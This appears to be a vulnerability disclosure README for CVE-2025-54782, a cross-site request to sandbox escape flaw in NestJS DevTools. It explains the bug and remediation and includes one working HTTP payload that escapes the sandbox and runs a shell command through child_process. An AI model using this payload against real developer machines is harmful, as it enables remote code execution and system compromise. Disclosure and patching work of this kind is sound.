CVE-2025-54782 PoC — @nestjs/devtools-integration's CSRF to Sandbox Escape Allows for RCE against JS Developers

Description

NestJS DevTools Unauthenticated RCE

Readme

# CVE-2025-54782: Critical Bug in NestJS DevTools

🚨 **Critical Security Issue** - CVSS Score: 9.4/10

## Discovery

A critical security vulnerability was discovered in NestJS DevTools that allows attackers to execute arbitrary code on developers' machines through malicious websites. This represents a significant security risk as it can lead to complete system compromise.

## The Problem

**Affected Package:** `@nestjs/devtools-integration` version 0.2.0 and below  
**What Goes Wrong:** The package creates a local development server with insufficient security controls  
**Who's At Risk:** Any developer using NestJS DevTools in their local environment  

### How The Attack Works

When you have NestJS DevTools running, it starts a local server (usually on port 3000). This server has an endpoint at `/inspector/graph/interact` that's supposed to help with debugging. But here's the problem:

1. **Missing Access Controls** - Cross-origin requests are permitted to the local development server
2. **Inadequate Sandboxing** - The JavaScript execution sandbox can be bypassed
3. **Privilege Escalation** - Successful sandbox escape grants full system access

### Real Attack Example

A malicious website could send this request to your local NestJS server:

```http
POST /inspector/graph/interact HTTP/1.1
Content-Type: text/plain

{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami')}})()"}
```

This payload demonstrates:
- Sandbox escape via exception handling and constructor manipulation
- Process object access through prototype chain exploitation
- Command execution via child_process module

## Security Impact

- **Remote Code Execution** - Complete system compromise potential
- **Silent Exploitation** - Attacks occur without user awareness
- **Low Attack Complexity** - Simple web interaction triggers exploitation
- **Developer Targeting** - Could facilitate supply chain attacks on development environments

## Remediation

**Immediate Action Required:** Update the package:

```bash
npm update @nestjs/devtools-integration
```

**Verify Installation:**
```bash
npm ls @nestjs/devtools-integration
```

Ensure you're running version **0.2.1 or later**.

## Timeline

- Found the vulnerability while testing NestJS DevTools
- Reported it to the NestJS team
- They fixed it in version 0.2.1
- CVE-2025-54782 was assigned
- Now sharing this publicly to help other developers stay safe

## Official References

- [Socket.dev Blog Post](https://socket.dev/blog/nestjs-rce-vuln)
- [NestJS Security Advisory](https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7)
- [Official CVE Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-54782)

---

File Snapshot

Remarks